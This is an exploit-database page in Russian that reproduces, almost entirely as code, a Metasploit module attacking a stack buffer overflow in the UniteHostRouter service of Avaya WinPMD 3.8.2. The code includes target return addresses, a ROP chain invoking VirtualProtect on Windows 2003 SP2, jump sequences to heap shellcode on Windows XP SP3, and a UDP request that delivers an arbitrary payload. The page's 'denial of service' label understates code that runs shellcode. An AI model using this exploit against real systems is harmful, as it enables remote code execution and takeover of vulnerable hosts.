Avaya WinPMD UniteHostRouter Buffer Overflow Exploit

Свойства

Дата публикации:
09.10.2012
Цель:
Avaya WinPMD UniteHostRouter
Тип воздействия:
Отказ в обслуживании

Код

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::Udp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Avaya WinPMD UniteHostRouter Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in Avaya WinPMD. The vulnerability
                exists in the UniteHostRouter service, due to the insecure usage of memcpy when
                parsing specially crafted "To:" headers. The module has been tested successfully on
                Avaya WinPMD 3.8.2 over Windows XP SP3 and Windows 2003 SP2.
            },
            'Author'         =>
                [
                    'Abdul-Aziz Hariri', # Vulnerability discovery
                    'Abysssec', # PoC
                    'juan vazquez' # Metasploit module
                ],
            'References'     =>
                [
                    ['OSVDB', '82764'],
                    ['OSVDB', '73269'],
                    ['BID', '47947'],
                    ['EDB', '18397'],
                    ['URL', 'https://downloads.avaya.com/css/P8/documents/100140122';],
                    ['URL', 'http://secunia.com/advisories/44062';]
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00\x0d\x0a\x20\x2f\x3a\x3f",
                    'Space' => 1024,
                    'DisableNops' => true
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    ['Avaya WinPMD 3.8.2 / Windows XP SP3',
                        {
                            'Offset' => 260,
                            'Ret' => 0x77c2e93b # MOV EAX,EDI # POP EDI # RETN from msvcrt
                        }
                    ],
                    ['Avaya WinPMD 3.8.2 / Windows 2003 SP2',
                        {
                            'Offset' => 260,
                            'Ret' => 0x0040e0f2 # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from UniteHostRouter.EXE
                        }
                    ]
                ],
            'Privileged'     => true,
            'DisclosureDate' => 'May 23 2011',
            'DefaultTarget'  => 0
            ))

        register_options([ Opt::RPORT(3217) ], self.class)
    end

    def junk(n=4)
        return rand_text_alpha(n).unpack("V")[0].to_i
    end

    def nop
        return make_nops(4).unpack("V")[0].to_i
    end

    def exploit
        connect_udp

        if target.name =~ /Windows XP SP3/
            buf = "\xeb\x7f" # jmp short $+0x81
            buf << rand_text(0x81 - 2)
            buf << "\xeb\x7f" # jmp short $+0x81
            buf << rand_text(0x81 - 2)
            buf << "\xeb\x64" # jmp short $+0x66 # jmp to shellcode in the heap
            buf << [target.ret].pack("V") # MOV EAX,EDI # POP EDI # RETN # from msvcrt # EDI points to data in the heap
            buf << [0x77c5f9a0].pack("V") # Readable address with string # from msvcrt
            buf << ([0x77c3c99c].pack("V")) * 21 # (INC EAX # RETN) * 21 # from msvcrt # EAX points to data in th heap, align to shellcode position
            buf << [0x77c168cd].pack("V") # jmp eax # from msvcrt.dll # JMP to shellcode in the heap
        elsif target.name =~ /Windows 2003 SP2/
            rop_gadgets =
                [
                    0x77bb2563, # POP EAX # RETN
                    0x77ba1114, # <- *&VirtualProtect()
                    0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
                    junk,
                    0x77bb0c86, # XCHG EAX,ESI # RETN
                    0x77bc9801, # POP EBP # RETN
                    0x77be2265, # ptr to 'push esp #  ret'
                    0x77bb2563, # POP EAX # RETN
                    0x03C0990F,
                    0x77bdd441, # SUB EAX, 03c0940f  (dwSize, 0x500 -> ebx)
                    0x77bb48d3, # POP EBX, RET
                    0x77bf21e0, # .data
                    0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
                    0x77bbfc02, # POP ECX # RETN
                    0x77bef001, # W pointer (lpOldProtect) (-> ecx)
                    0x77bd8c04, # POP EDI # RETN
                    0x77bd8c05, # ROP NOP (-> edi)
                    0x77bb2563, # POP EAX # RETN
                    0x03c0984f,
                    0x77bdd441, # SUB EAX, 03c0940f
                    0x77bb8285, # XCHG EAX,EDX # RETN
                    0x77bb2563, # POP EAX # RETN
                    nop,
                    0x77be6591, # PUSHAD # ADD AL,0EF # RETN
                ].pack("V*")
            buf = rand_text(3) # padding
            buf << rop_gadgets
            buf << "\xeb\x7f" # jmp $+0x81
            buf << rand_text(0x81-2)
            buf << "\xeb\x25" # jmp short $+0x66 => to shellcode
            buf << rand_text(target['Offset'] - buf.length)
            buf << "\xf2\xe0\x40" # EIP => # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from [UniteHostRouter.EXE # stackpivot to heap
        end

        request = "UTP/1 To: 127.0.0.1 /#{buf}\r\n\r\n"

        if target.name =~ /Windows 2003 SP2/
            request << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        end

        request << payload.encoded # The shellcode will be stored in the heap

        print_status("#{rhost}:#{rport} - Trying to exploit #{target.name}...")
        udp_sock.put(request)
        disconnect_udp
    end

end

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